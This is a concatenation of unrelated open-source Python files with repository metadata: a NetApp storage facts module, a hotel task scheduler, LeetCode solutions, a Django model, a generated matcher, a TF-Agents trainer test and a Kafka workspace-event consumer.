controllers_dict = {} i = ord('A') for controller in controllers: label = chr(i) controllers_dict[controller] = label i += 1 return controllers_dict def get_array_facts(self): """Extract particular facts from the storage array graph""" facts = dict(facts_from_proxy=(not self.is_embedded()), ssid=self.ssid) controller_reference_label = self.get_controllers() array_facts = None # Get the storage array graph try: rc, array_facts = self.request("storage-systems/%s/graph" % self.ssid) except Exception as error: self.module.fail_json(msg="Failed to obtain facts from storage array with id [%s]. Error [%s]" % (self.ssid, str(error))) facts['netapp_storage_array'] = dict( name=array_facts['sa']['saData']['storageArrayLabel'], chassis_serial=array_facts['sa']['saData']['chassisSerialNumber'], firmware=array_facts['sa']['saData']['fwVersion'], wwn=array_facts['sa']['saData']['saId']['worldWideName'], segment_sizes=array_facts['sa']['featureParameters']['supportedSegSizes'], cache_block_sizes=array_facts['sa']['featureParameters']['cacheBlockSizes']) facts['netapp_controllers'] = [ dict( name=controller_reference_label[controller['controllerRef']], serial=controller['serialNumber'].strip(), status=controller['status'], ) for controller in array_facts['controller']] facts['netapp_host_groups'] = [ dict( id=group['id'], name=group['name'] ) for group in array_facts['storagePoolBundle']['cluster']] facts['netapp_hosts'] = [ dict( group_id=host['clusterRef'], hosts_reference=host['hostRef'], id=host['id'], name=host['name'], host_type_index=host['hostTypeIndex'], posts=host['hostSidePorts'] ) for host in array_facts['storagePoolBundle']['host']] facts['netapp_host_types'] = [ dict( type=host_type['hostType'], index=host_type['index'] ) for host_type in array_facts['sa']['hostSpecificVals'] if 'hostType' in host_type.keys() and host_type['hostType'] # This conditional ignores zero-length strings which indicates that the associated host-specific NVSRAM region has been cleared. ] facts['snapshot_images'] = [ dict( id=snapshot['id'], status=snapshot['status'], pit_capacity=snapshot['pitCapacity'], creation_method=snapshot['creationMethod'], reposity_cap_utilization=snapshot['repositoryCapacityUtilization'], active_cow=snapshot['activeCOW'], rollback_source=snapshot['isRollbackSource'] ) for snapshot in array_facts['highLevelVolBundle']['pit']] facts['netapp_disks'] = [ dict( id=disk['id'], available=disk['available'], media_type=disk['driveMediaType'], status=disk['status'], usable_bytes=disk['usableCapacity'], tray_ref=disk['physicalLocation']['trayRef'], product_id=disk['productID'], firmware_version=disk['firmwareVersion'], serial_number=disk['serialNumber'].lstrip() ) for disk in array_facts['drive']] facts['netapp_management_interfaces'] = [ dict(controller=controller_reference_label[controller['controllerRef']], name=iface['ethernet']['interfaceName'], alias=iface['ethernet']['alias'], channel=iface['ethernet']['channel'], mac_address=iface['ethernet']['macAddr'], remote_ssh_access=iface['ethernet']['rloginEnabled'], link_status=iface['ethernet']['linkStatus'], ipv4_enabled=iface['ethernet']['ipv4Enabled'], ipv4_address_config_method=iface['ethernet']['ipv4AddressConfigMethod'].lower().replace("config", ""), ipv4_address=iface['ethernet']['ipv4Address'], ipv4_subnet_mask=iface['ethernet']['ipv4SubnetMask'], ipv4_gateway=iface['ethernet']['ipv4GatewayAddress'], ipv6_enabled=iface['ethernet']['ipv6Enabled'], dns_config_method=iface['ethernet']['dnsProperties']['acquisitionProperties']['dnsAcquisitionType'], dns_servers=(iface['ethernet']['dnsProperties']['acquisitionProperties']['dnsServers'] if iface['ethernet']['dnsProperties']['acquisitionProperties']['dnsServers'] else []), ntp_config_method=iface['ethernet']['ntpProperties']['acquisitionProperties']['ntpAcquisitionType'], ntp_servers=(iface['ethernet']['ntpProperties']['acquisitionProperties']['ntpServers'] if iface['ethernet']['ntpProperties']['acquisitionProperties']['ntpServers'] else []) ) for controller in array_facts['controller'] for iface in controller['netInterfaces']] facts['netapp_hostside_interfaces'] = [ dict( fc=[dict(controller=controller_reference_label[controller['controllerRef']], channel=iface['fibre']['channel'], link_status=iface['fibre']['linkStatus'], current_interface_speed=strip_interface_speed(iface['fibre']['currentInterfaceSpeed']), maximum_interface_speed=strip_interface_speed(iface['fibre']['maximumInterfaceSpeed'])) for controller in array_facts['controller'] for iface in controller['hostInterfaces'] if iface['interfaceType'] == 'fc'], ib=[dict(controller=controller_reference_label[controller['controllerRef']], channel=iface['ib']['channel'], link_status=iface['ib']['linkState'], mtu=iface['ib']['maximumTransmissionUnit'], current_interface_speed=strip_interface_speed(iface['ib']['currentSpeed']), maximum_interface_speed=strip_interface_speed(iface['ib']['supportedSpeed'])) for controller in array_facts['controller'] for iface in controller['hostInterfaces'] if iface['interfaceType'] == 'ib'], iscsi=[dict(controller=controller_reference_label[controller['controllerRef']], iqn=iface['iscsi']['iqn'], link_status=iface['iscsi']['interfaceData']['ethernetData']['linkStatus'], ipv4_enabled=iface['iscsi']['ipv4Enabled'], ipv4_address=iface['iscsi']['ipv4Data']['ipv4AddressData']['ipv4Address'], ipv4_subnet_mask=iface['iscsi']['ipv4Data']['ipv4AddressData']['ipv4SubnetMask'], ipv4_gateway=iface['iscsi']['ipv4Data']['ipv4AddressData']['ipv4GatewayAddress'], ipv6_enabled=iface['iscsi']['ipv6Enabled'], mtu=iface['iscsi']['interfaceData']['ethernetData']['maximumFramePayloadSize'], current_interface_speed=strip_interface_speed(iface['iscsi']['interfaceData'] ['ethernetData']['currentInterfaceSpeed']), supported_interface_speeds=strip_interface_speed(iface['iscsi']['interfaceData'] ['ethernetData'] ['supportedInterfaceSpeeds'])) for controller in array_facts['controller'] for iface in controller['hostInterfaces'] if iface['interfaceType'] == 'iscsi'], sas=[dict(controller=controller_reference_label[controller['controllerRef']], channel=iface['sas']['channel'], current_interface_speed=strip_interface_speed(iface['sas']['currentInterfaceSpeed']), maximum_interface_speed=strip_interface_speed(iface['sas']['maximumInterfaceSpeed']), link_status=iface['sas']['iocPort']['state']) for controller in array_facts['controller'] for iface in controller['hostInterfaces'] if iface['interfaceType'] == 'sas'])] facts['netapp_driveside_interfaces'] = [ dict( controller=controller_reference_label[controller['controllerRef']], interface_type=interface['interfaceType'], interface_speed=strip_interface_speed( interface[interface['interfaceType']]['maximumInterfaceSpeed'] if (interface['interfaceType'] == 'sata' or interface['interfaceType'] == 'sas' or interface['interfaceType'] == 'fibre') else ( interface[interface['interfaceType']]['currentSpeed'] if interface['interfaceType'] == 'ib' else ( interface[interface['interfaceType']]['interfaceData']['maximumInterfaceSpeed'] if interface['interfaceType'] == 'iscsi' else 'unknown' ))), ) for controller in array_facts['controller'] for interface in controller['driveInterfaces']] facts['netapp_storage_pools'] = [ dict( id=storage_pool['id'], name=storage_pool['name'], available_capacity=storage_pool['freeSpace'], total_capacity=storage_pool['totalRaidedSpace'], used_capacity=storage_pool['usedSpace'] ) for storage_pool in array_facts['volumeGroup']] all_volumes = list(array_facts['volume']) facts['netapp_volumes'] = [ dict( id=v['id'], name=v['name'], parent_storage_pool_id=v['volumeGroupRef'], capacity=v['capacity'], is_thin_provisioned=v['thinProvisioned'], workload=v['metadata'], ) for v in all_volumes] workload_tags = None try: rc, workload_tags = self.request("storage-systems/%s/workloads" % self.ssid) except Exception as error: self.module.fail_json(msg="Failed to retrieve workload tags. Array [%s]." % self.ssid) facts['netapp_workload_tags'] = [ dict( id=workload_tag['id'], name=workload_tag['name'], attributes=workload_tag['workloadAttributes'] ) for workload_tag in workload_tags] # Create a dictionary of volume lists keyed by host names facts['netapp_volumes_by_initiators'] = dict() for mapping in array_facts['storagePoolBundle']['lunMapping']: for host in facts['netapp_hosts']: if mapping['mapRef'] == host['hosts_reference'] or mapping['mapRef'] == host['group_id']: if host['name'] not in facts['netapp_volumes_by_initiators'].keys(): facts['netapp_volumes_by_initiators'].update({host['name']: []}) for volume in all_volumes: if mapping['id'] in [volume_mapping['id'] for volume_mapping in volume['listOfMappings']]: # Determine workload name if there is one workload_name = "" metadata = dict() for volume_tag in volume['metadata']: if volume_tag['key'] == 'workloadId': for workload_tag in facts['netapp_workload_tags']: if volume_tag['value'] == workload_tag['id']: workload_name = workload_tag['name'] metadata = dict((entry['key'], entry['value']) for entry in workload_tag['attributes'] if entry['key'] != 'profileId') facts['netapp_volumes_by_initiators'][host['name']].append( dict(name=volume['name'], id=volume['id'], wwn=volume['wwn'], workload_name=workload_name, meta_data=metadata)) features = [feature for feature in array_facts['sa']['capabilities']] features.extend([feature['capability'] for feature in array_facts['sa']['premiumFeatures'] if feature['isEnabled']]) features = list(set(features)) # ensure unique features.sort() facts['netapp_enabled_features'] = features return facts def get_facts(self): """Get the embedded or web services proxy information.""" facts = self.get_array_facts() self.module.log("isEmbedded: %s" % self.is_embedded()) self.module.log(pformat(facts)) self.module.exit_json(msg="Gathered facts for storage array. Array ID: [%s]." % self.ssid, storage_array_facts=facts) def strip_interface_speed(speed): """Converts symbol interface speeds to a more common notation. Example: 'speed10gig' -> '10g'""" if isinstance(speed, list): result = [match(r"speed[0-9]{1,3}[gm]", sp) for sp in speed] result = [sp.group().replace("speed", "") if result else "unknown" for sp in result if sp] result = ["auto" if match(r"auto", sp) else sp for sp in result] else: result = match(r"speed[0-9]{1,3}[gm]", speed) result = result.group().replace("speed", "") if result else "unknown" result = "auto" if match(r"auto", result.lower()) else result return result def main(): facts = Facts() facts.get_facts() if __name__ == "__main__": main()
3544578b5eba352958bb896b645b4312ea39834f
769c8cac5aea3c9cb1e7eeafb1e37dbe9ea4d649
/TaskScheduler/hotel_list_task.py
0bee18d0d9cf36192d1c2f1f2dd5ddf676443a6a
[]
no_license
20113261/p_m
f0b93b516e4c377aaf8b1741671759822ee0ec1a
ca7713de005c4c10e5cae547851a38a13211b71d
refs/heads/master
2020-03-20T01:03:29.785618
2018-03-17T11:06:49
2018-03-17T11:06:49
137,065,177
0
0
null
null
null
null
UTF-8
Python
false
false
963
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2017/7/11 下午5:30 # @Author : Hou Rong # @Site : # @File : hotel_list_task.py # @Software: PyCharm import Common.DateRange import dataset from Common.DateRange import dates_tasks from TaskScheduler.TaskInsert import InsertTask Common.DateRange.DATE_FORMAT = '%Y%m%d' db = dataset.connect('mysql+pymysql://reader:[email protected]/source_info?charset=utf8') if __name__ == '__main__': with InsertTask(worker='hotel_list', task_name='ctrip_hotel_list_0711') as it: for line in db.query('''SELECT city_id FROM hotel_suggestions_city WHERE source = 'ctrip' AND select_index != -1 AND annotation != -1;'''): city_id = line['city_id'] for day in dates_tasks(90, day_step=10, ignore_days=20): args = {'source': 'ctrip', 'city_id': city_id, 'check_in': day, 'part': '20170711'} it.insert_task(args)
004867de305d55875c7b5d8dc93e22bff54fff86
10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94
/Python/restore-the-array-from-adjacent-pairs.py
91aa1ba0ebb1c185e6625d0352c4f6985e14a576
[ "MIT" ]
permissive
kamyu104/LeetCode-Solutions
f54822059405ef4df737d2e9898b024f051fd525
4dc4e6642dc92f1983c13564cc0fd99917cab358
refs/heads/master
2023-09-02T13:48:26.830566
2023-08-28T10:11:12
2023-08-28T10:11:12
152,631,182
4,549
1,651
MIT
2023-05-31T06:10:33
2018-10-11T17:38:35
C++
UTF-8
Python
false
false
571
py
# Time: O(n) # Space: O(n) import collections class Solution(object): def restoreArray(self, adjacentPairs): """ :type adjacentPairs: List[List[int]] :rtype: List[int] """ adj = collections.defaultdict(list) for u, v in adjacentPairs: adj[u].append(v) adj[v].append(u) result = next([x, adj[x][0]] for x in adj if len(adj[x]) == 1) while len(result) != len(adjacentPairs)+1: result.append(adj[result[-1]][adj[result[-1]][0] == result[-2]]) return result
105947379a933fb3d9c7594e0f9ee5edef5ec989
659836ef3a9ac558538b016dbf4e128aa975ae7c
/backend/ingredient/models.py
ba8262719d98f47795c66d3d2646c01dcfba676b
[]
no_license
zzerii/save_your_ingredients
fda1c769d158bca9dfd3c28ac9ff34ed7ae4e6a3
5ebde82255c1a6edf0c19d9032015d05c9d0abc9
refs/heads/master
2023-02-21T22:19:28.954594
2021-01-22T11:39:16
2021-01-22T11:39:16
null
0
0
null
null
null
null
UTF-8
Python
false
false
223
py
from django.db import models # Create your models here. class Ingredient(models.Model): name = models.CharField(max_length=255) info = models.CharField(max_length=255) trim = models.CharField(max_length=255)
7ac936ecd5083f62b8a3b206f7e560a01d51ac58
e0a9dcd4f53aa6bf4472efe451e226663212abda
/core/execute.py
d8d444c3f1a16fa7af00f3de0f4f8ca5d7541d09
[]
no_license
dilawar/ghonchu
f0505dce8ba76402e7c58c7fc4efd0412ce3503a
5527b4d444f113b0ab51f758fc809e8ab81c5a72
refs/heads/master
2016-09-02T05:33:07.167106
2014-12-12T12:07:50
2014-12-12T12:07:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
515
py
"""execute.py: Execute core action. Last modified: Sat Jan 18, 2014 05:01PM """ __author__ = "Dilawar Singh" __copyright__ = "Copyright 2013, Dilawar Singh and NCBS Bangalore" __credits__ = ["NCBS Bangalore"] __license__ = "GNU GPL" __version__ = "1.0.0" __maintainer__ = "Dilawar Singh" __email__ = "[email protected]" __status__ = "Development" from notes import note def new_note(title): n = note.Note(title) n.write()
9116fbcd17562627c4d5504fdc5b28015b3d830d
6fe2d3c27c4cb498b7ad6d9411cc8fa69f4a38f8
/algorithms/algorithms-python/leetcode/Question_111_Minimum_Depth_of_Binary_Tree.py
20e53e489f88b9f32c07604bd8be49b4895f2660
[]
no_license
Lanceolata/code
aae54af632a212c878ce45b11dab919bba55bcb3
f7d5a7de27c3cc8a7a4abf63eab9ff9b21d512fb
refs/heads/master
2022-09-01T04:26:56.190829
2021-07-29T05:14:40
2021-07-29T05:14:40
87,202,214
0
0
null
null
null
null
UTF-8
Python
false
false
566
py
#!/usr/bin/python # coding: utf-8 from TreeNode import * # Definition for a binary tree node. # class TreeNode(object): # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution(object): def minDepth(self, root): """ :type root: TreeNode :rtype: int """ if not root: return 0 left = self.minDepth(root.left) right = self.minDepth(root.right) return left + right + 1 if left == 0 or right == 0 else min(left, right) + 1
aa893b07c3613f505969019869fe7e5913d60a10
8634b4f7f2293bf431ba8ed59e95f80abc59483f
/Homework/10/orderdict.py
fae771bb2e90cba4047e19dc516c8e03b0f7b948
[]
no_license
TitanVA/Metiz
e1e2dca42118f660356254c39c7fadc47f772719
e54f10b98226e102a5bb1eeda7f1e1eb30587c32
refs/heads/master
2020-12-22T11:44:58.746055
2020-02-10T14:41:16
2020-02-10T14:41:16
236,770,476
0
0
null
null
null
null
UTF-8
Python
false
false
358
py
from _collections import OrderedDict favorite_languages = OrderedDict() favorite_languages['jen'] = 'python' favorite_languages['sarah'] = 'c' favorite_languages['edward'] = 'ruby' favorite_languages['phil'] = 'python' for name, language in favorite_languages.items(): print(name.title() + '\'s favorite language is', language.title() + '.')
8d953f282b7786cb90d112bd8b7f8fd2757af599
b064696e34a31d2f23eb5da4f364a09542428b44
/tf_agents/bandits/agents/examples/v2/trainer_test.py
d9117e9018d28a7092aa409817daa2ffa23575b0
[ "Apache-2.0" ]
permissive
vraoresearch/agents
affead659efd3b5ac232d3d9ff60a1fabe74250e
58ffe1eec6e38a2cddcf34834d795b37e3b8843b
refs/heads/master
2022-11-19T10:01:54.906271
2022-10-27T14:41:56
2022-10-27T14:42:23
293,401,771
0
1
Apache-2.0
2020-09-07T02:23:54
2020-09-07T02:23:53
null
UTF-8
Python
false
false
11,646
py
# coding=utf-8 # Copyright 2020 The TF-Agents Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for tf_agents.bandits.agents.examples.v2.trainer.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import functools import os import tempfile from unittest import mock from absl import logging from absl.testing import parameterized import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import import tensorflow_probability as tfp from tf_agents.bandits.agents import exp3_agent from tf_agents.bandits.agents.examples.v2 import trainer from tf_agents.bandits.agents.examples.v2 import trainer_test_utils from tf_agents.bandits.environments import environment_utilities from tf_agents.bandits.environments import random_bandit_environment from tf_agents.bandits.environments import stationary_stochastic_py_environment from tf_agents.bandits.environments import wheel_py_environment from tf_agents.bandits.metrics import tf_metrics as tf_bandit_metrics from tf_agents.environments import tf_py_environment from tf_agents.metrics import export_utils from tf_agents.specs import tensor_spec tfd = tfp.distributions tf.compat.v1.enable_v2_behavior() def get_bounded_reward_random_environment( observation_shape, action_shape, batch_size, num_actions): """Returns a RandomBanditEnvironment with U(0, 1) observation and reward.""" overall_shape = [batch_size] + observation_shape observation_distribution = tfd.Independent( tfd.Uniform(low=tf.zeros(overall_shape), high=tf.ones(overall_shape))) reward_distribution = tfd.Uniform( low=tf.zeros(batch_size), high=tf.ones(batch_size)) action_spec = tensor_spec.BoundedTensorSpec( shape=action_shape, dtype=tf.int32, minimum=0, maximum=num_actions - 1) return random_bandit_environment.RandomBanditEnvironment( observation_distribution, reward_distribution, action_spec) def get_environment_and_optimal_functions_by_name(environment_name, batch_size): if environment_name == 'stationary_stochastic': context_dim = 7 num_actions = 5 action_reward_fns = ( environment_utilities.sliding_linear_reward_fn_generator( context_dim, num_actions, 0.1)) py_env = ( stationary_stochastic_py_environment .StationaryStochasticPyEnvironment( functools.partial( environment_utilities.context_sampling_fn, batch_size=batch_size, context_dim=context_dim), action_reward_fns, batch_size=batch_size)) optimal_reward_fn = functools.partial( environment_utilities.tf_compute_optimal_reward, per_action_reward_fns=action_reward_fns) optimal_action_fn = functools.partial( environment_utilities.tf_compute_optimal_action, per_action_reward_fns=action_reward_fns) environment = tf_py_environment.TFPyEnvironment(py_env) elif environment_name == 'wheel': delta = 0.5 mu_base = [0.05, 0.01, 0.011, 0.009, 0.012] std_base = [0.001] * 5 mu_high = 0.5 std_high = 0.001 py_env = wheel_py_environment.WheelPyEnvironment(delta, mu_base, std_base, mu_high, std_high, batch_size) environment = tf_py_environment.TFPyEnvironment(py_env) optimal_reward_fn = functools.partial( environment_utilities.tf_wheel_bandit_compute_optimal_reward, delta=delta, mu_inside=mu_base[0], mu_high=mu_high) optimal_action_fn = functools.partial( environment_utilities.tf_wheel_bandit_compute_optimal_action, delta=delta) return (environment, optimal_reward_fn, optimal_action_fn) class MockLog(mock.Mock): def __init__(self, *args, **kwargs): super(MockLog, self).__init__(*args, **kwargs) self.lines = [] def info(self, message, *args): self.lines.append(message % args) logging.info(message, *args) def as_string(self): return '\n'.join(self.lines) class TrainerTest(tf.test.TestCase, parameterized.TestCase): @parameterized.named_parameters( dict(testcase_name='_0', num_actions=11, observation_shape=[8], action_shape=[], batch_size=32, training_loops=10, steps_per_loop=10, learning_rate=.1), dict(testcase_name='_1', num_actions=73, observation_shape=[5, 4, 3, 2], action_shape=[], batch_size=121, training_loops=7, steps_per_loop=8, learning_rate=.5), ) def testTrainerExportsCheckpoints(self, num_actions, observation_shape, action_shape, batch_size, training_loops, steps_per_loop, learning_rate): """Exercises trainer code, checks that expected checkpoints are exported.""" root_dir = tempfile.mkdtemp(dir=os.getenv('TEST_TMPDIR')) environment = get_bounded_reward_random_environment( observation_shape, action_shape, batch_size, num_actions) agent = exp3_agent.Exp3Agent( learning_rate=learning_rate, time_step_spec=environment.time_step_spec(), action_spec=environment.action_spec()) for i in range(1, 4): trainer.train( root_dir=root_dir, agent=agent, environment=environment, training_loops=training_loops, steps_per_loop=steps_per_loop) latest_checkpoint = tf.train.latest_checkpoint(root_dir) expected_checkpoint_regex = '.*-{}'.format(i * training_loops) self.assertRegex(latest_checkpoint, expected_checkpoint_regex) @parameterized.named_parameters( dict(testcase_name='_stat_stoch__linucb', environment_name='stationary_stochastic', agent_name='LinUCB'), dict(testcase_name='_stat_stoch__lints', environment_name='stationary_stochastic', agent_name='LinTS'), dict(testcase_name='_stat_stoch__epsgreedy', environment_name='stationary_stochastic', agent_name='epsGreedy'), dict(testcase_name='_wheel__linucb', environment_name='wheel', agent_name='LinUCB'), dict(testcase_name='_wheel__lints', environment_name='wheel', agent_name='LinTS'), dict(testcase_name='_wheel__epsgreedy', environment_name='wheel', agent_name='epsGreedy'), dict(testcase_name='_wheel__mix', environment_name='wheel', agent_name='mix'), ) def testAgentAndEnvironmentRuns(self, environment_name, agent_name): batch_size = 8 training_loops = 3 steps_per_loop = 2 (environment, optimal_reward_fn, optimal_action_fn ) = trainer_test_utils.get_environment_and_optimal_functions_by_name( environment_name, batch_size) agent = trainer_test_utils.get_agent_by_name(agent_name, environment.time_step_spec(), environment.action_spec()) regret_metric = tf_bandit_metrics.RegretMetric(optimal_reward_fn) suboptimal_arms_metric = tf_bandit_metrics.SuboptimalArmsMetric( optimal_action_fn) with mock.patch.object( export_utils, 'logging', new_callable=MockLog) as mock_logging: trainer.train( root_dir=tempfile.mkdtemp(dir=os.getenv('TEST_TMPDIR')), agent=agent, environment=environment, training_loops=training_loops, steps_per_loop=steps_per_loop, additional_metrics=[regret_metric, suboptimal_arms_metric]) logged = mock_logging.as_string() self.assertEqual(logged.count('RegretMetric'), training_loops) self.assertEqual(logged.count('SuboptimalArmsMetric'), training_loops) self.assertEqual(logged.count('loss'), training_loops) def testResumeTrainLoops(self): batch_size = 8 training_loops = 3 steps_per_loop = 2 environment_name = 'stationary_stochastic' agent_name = 'epsGreedy' environment, _, _ = ( trainer_test_utils.get_environment_and_optimal_functions_by_name( environment_name, batch_size)) agent = trainer_test_utils.get_agent_by_name(agent_name, environment.time_step_spec(), environment.action_spec()) root_dir = tempfile.mkdtemp(dir=os.getenv('TEST_TMPDIR')) def train(training_loops, resume_training_loops): trainer.train( root_dir=root_dir, agent=agent, environment=environment, training_loops=training_loops, steps_per_loop=steps_per_loop, resume_training_loops=resume_training_loops) with mock.patch.object( export_utils, 'logging', new_callable=MockLog) as mock_logging: train(training_loops=training_loops, resume_training_loops=True) logged = mock_logging.as_string() self.assertEqual(logged.count('loss'), training_loops) self.assertEqual(logged.count('AverageReturn'), training_loops) # With `resume_training_loops` set to True, the same `training_loops` # would not result in more training. with mock.patch.object( export_utils, 'logging', new_callable=MockLog) as mock_logging: train(training_loops=training_loops, resume_training_loops=True) logged = mock_logging.as_string() self.assertEqual(logged.count('loss'), 0) self.assertEqual(logged.count('AverageReturn'), 0) # With `resume_training_loops` set to True, increasing # `training_loops` will result in more training. with mock.patch.object( export_utils, 'logging', new_callable=MockLog) as mock_logging: train(training_loops=training_loops + 1, resume_training_loops=True) logged = mock_logging.as_string() self.assertEqual(logged.count('loss'), 1) self.assertEqual(logged.count('AverageReturn'), 1) expected_num_episodes = (training_loops + 1) * steps_per_loop * batch_size self.assertEqual( logged.count(f'NumberOfEpisodes = {expected_num_episodes}'), 1) # With `resume_training_loops` set to False, `training_loops` of 1 # will result in more training. with mock.patch.object( export_utils, 'logging', new_callable=MockLog) as mock_logging: train(training_loops=1, resume_training_loops=False) logged = mock_logging.as_string() self.assertEqual(logged.count('loss'), 1) self.assertEqual(logged.count('AverageReturn'), 1) # The number of episodes is expected to accumulate over all trainings using # the same `root_dir`. expected_num_episodes = (training_loops + 2) * steps_per_loop * batch_size self.assertEqual( logged.count(f'NumberOfEpisodes = {expected_num_episodes}'), 1) if __name__ == '__main__': tf.test.main()
d86da89a7837039de5cc9432332391c1929d6f86
d2e8ad203a37b534a113d4f0d4dd51d9aeae382a
/django_graphene_authentication/django_graphene_authentication/signals.py
47adcc189eddf36fa915f1ac41f05cdf7b2ebd8f
[ "MIT" ]
permissive
Koldar/django-koldar-common-apps
40e24a7aae78973fa28ca411e2a32cb4b2f4dbbf
06e6bb103d22f1f6522e97c05ff8931413c69f19
refs/heads/main
2023-08-17T11:44:34.631914
2021-10-08T12:40:40
2021-10-08T12:40:40
372,714,560
0
0
null
null
null
null
UTF-8
Python
false
false
226
py
from django.dispatch import Signal # providing_args=['request', 'refresh_token'] refresh_token_revoked = Signal() # providing_args=['request', 'refresh_token', 'refresh_token_issued'] refresh_token_rotated = Signal()
9eb53df032e3c06138e6c43f5b306169140d64a0
f445450ac693b466ca20b42f1ac82071d32dd991
/generated_tempdir_2019_09_15_163300/generated_part006719.py
42aa4358fcc37db511e0345b6fdde91a2bd9246d
[]
no_license
Upabjojr/rubi_generated
76e43cbafe70b4e1516fb761cabd9e5257691374
cd35e9e51722b04fb159ada3d5811d62a423e429
refs/heads/master
2020-07-25T17:26:19.227918
2019-09-15T15:41:48
2019-09-15T15:41:48
208,357,412
4
1
null
null
null
null
UTF-8
Python
false
false
1,596
py
from sympy.abc import * from matchpy.matching.many_to_one import CommutativeMatcher from matchpy import * from matchpy.utils import VariableWithCount from collections import deque from multiset import Multiset from sympy.integrals.rubi.constraints import * from sympy.integrals.rubi.utility_function import * from sympy.integrals.rubi.rules.miscellaneous_integration import * from sympy import * class CommutativeMatcher47811(CommutativeMatcher): _instance = None patterns = { 0: (0, Multiset({}), [ (VariableWithCount('i2.2.1.0', 1, 1, None), Mul), (VariableWithCount('i2.3.2.2.1.0_1', 1, 1, S(1)), Mul) ]), 1: (1, Multiset({}), [ (VariableWithCount('i2.2.1.1', 1, 1, None), Mul), (VariableWithCount('i2.3.2.2.1.0_1', 1, 1, S(1)), Mul) ]), 2: (2, Multiset({}), [ (VariableWithCount('i2.3.2.2.1.0', 1, 1, None), Mul), (VariableWithCount('i2.3.2.2.1.0_2', 1, 1, S(1)), Mul) ]) } subjects = {} subjects_by_id = {} bipartite = BipartiteGraph() associative = Mul max_optional_count = 1 anonymous_patterns = set() def __init__(self): self.add_subject(None) @staticmethod def get(): if CommutativeMatcher47811._instance is None: CommutativeMatcher47811._instance = CommutativeMatcher47811() return CommutativeMatcher47811._instance @staticmethod def get_match_iter(subject): subjects = deque([subject]) if subject is not None else deque() subst0 = Substitution() # State 47810 return yield from collections import deque
754d441707341b8ba8d827ed526ecce1b52c54ed
fd4dd0ce51eb1c9206d5c1c29d6726fc5f2cb122
/src/kafka_consumer.py
2c15842317f104c1081a9e44920ee8bec1234986
[]
no_license
kbaseapps/relation_engine_sync
0a9ae11326245b98bd173d77203ff49ccd222165
def99d329d0d4101f3864e21a3e1a6ecb34fa6e0
refs/heads/master
2020-04-12T13:07:27.771094
2019-08-05T23:53:50
2019-08-05T23:53:50
162,512,534
0
0
null
2019-08-05T23:53:51
2018-12-20T01:56:13
Python
UTF-8
Python
false
false
3,996
py
""" Consume workspace update events from kafka. """ import json import traceback from confluent_kafka import Consumer, KafkaError from src.utils.logger import log from src.utils.config import get_config from src.utils.workspace_client import download_info from src.utils.re_client import check_doc_existence from src.import_object import import_object _CONFIG = get_config() def run(): """Run the main event loop, ie. the Kafka Consumer, dispatching to self._handle_message.""" topics = [ _CONFIG['kafka_topics']['workspace_events'], _CONFIG['kafka_topics']['re_admin_events'] ] log('INFO', f"Subscribing to: {topics}") log('INFO', f"Client group: {_CONFIG['kafka_clientgroup']}") log('INFO', f"Kafka server: {_CONFIG['kafka_server']}") consumer = Consumer({ 'bootstrap.servers': _CONFIG['kafka_server'], 'group.id': _CONFIG['kafka_clientgroup'], 'auto.offset.reset': 'earliest', 'enable.auto.commit': True }) consumer.subscribe(topics) while True: msg = consumer.poll(timeout=0.5) if msg is None: continue if msg.error(): if msg.error().code() == KafkaError._PARTITION_EOF: log('INFO', 'End of stream.') else: log('ERROR', f"Kafka message error: {msg.error()}") continue val = msg.value().decode('utf-8') try: msg = json.loads(val) log('INFO', f'New message: {msg}') _handle_msg(msg) except Exception as err: log('ERROR', '=' * 80) log('ERROR', f"Error importing:\n{type(err)} - {err}") log('ERROR', msg) log('ERROR', err) # Prints to stderr traceback.print_exc() log('ERROR', '=' * 80) consumer.close() def _handle_msg(msg): """Receive a kafka message.""" event_type = msg.get('evtype') wsid = msg.get('wsid') if not wsid: raise RuntimeError(f'Invalid wsid in event: {wsid}') if not event_type: raise RuntimeError(f"Missing 'evtype' in event: {msg}") log('INFO', f'Received {msg["evtype"]} for {wsid}/{msg.get("objid", "?")}') if event_type in ['IMPORT', 'NEW_VERSION', 'COPY_OBJECT', 'RENAME_OBJECT']: _import_obj(msg) elif event_type == 'IMPORT_NONEXISTENT': _import_nonexistent(msg) elif event_type == 'OBJECT_DELETE_STATE_CHANGE': _delete_obj(msg) elif event_type == 'WORKSPACE_DELETE_STATE_CHANGE': _delete_ws(msg) elif event_type in ['CLONE_WORKSPACE', 'IMPORT_WORKSPACE']: _import_ws(msg) elif event_type == 'SET_GLOBAL_PERMISSION': _set_global_perms(msg) else: raise RuntimeError(f"Unrecognized event {event_type}.") def _import_obj(msg): log('INFO', 'Downloading obj') obj_info = download_info(msg['wsid'], msg['objid'], msg.get('ver')) import_object(obj_info) def _import_nonexistent(msg): """Import an object only if it does not exist in RE already.""" upa = ':'.join([str(p) for p in [msg['wsid'], msg['objid'], msg['ver']]]) log('INFO', f'_import_nonexistent on {upa}') # TODO _id = 'wsfull_object_version/' + upa exists = check_doc_existence(_id) if not exists: _import_obj(msg) def _delete_obj(msg): """Handle an object deletion event (OBJECT_DELETE_STATE_CHANGE)""" log('INFO', '_delete_obj TODO') # TODO raise NotImplementedError() def _delete_ws(msg): """Handle a workspace deletion event (WORKSPACE_DELETE_STATE_CHANGE).""" log('INFO', '_delete_ws TODO') # TODO raise NotImplementedError() def _import_ws(msg): """Import all data for an entire workspace.""" log('INFO', '_import_ws TODO') # TODO raise NotImplementedError() def _set_global_perms(msg): """Set permissions for an entire workspace (SET_GLOBAL_PERMISSION).""" log('INFO', '_set_global_perms TODO') # TODO raise NotImplementedError()
cccac8d820d9d534647989e6cfc573f5a94e1876
5c15aba2bdcd4348c988245f59817cbe71b87749
/src/trial.py
00cd0826415c55ab5e87e90071586c86ffae075a
[]
no_license
chengshaozhe/commitmentBenefits
f7db038333ee95217713d1d4b2a1fb3d0c295fdd
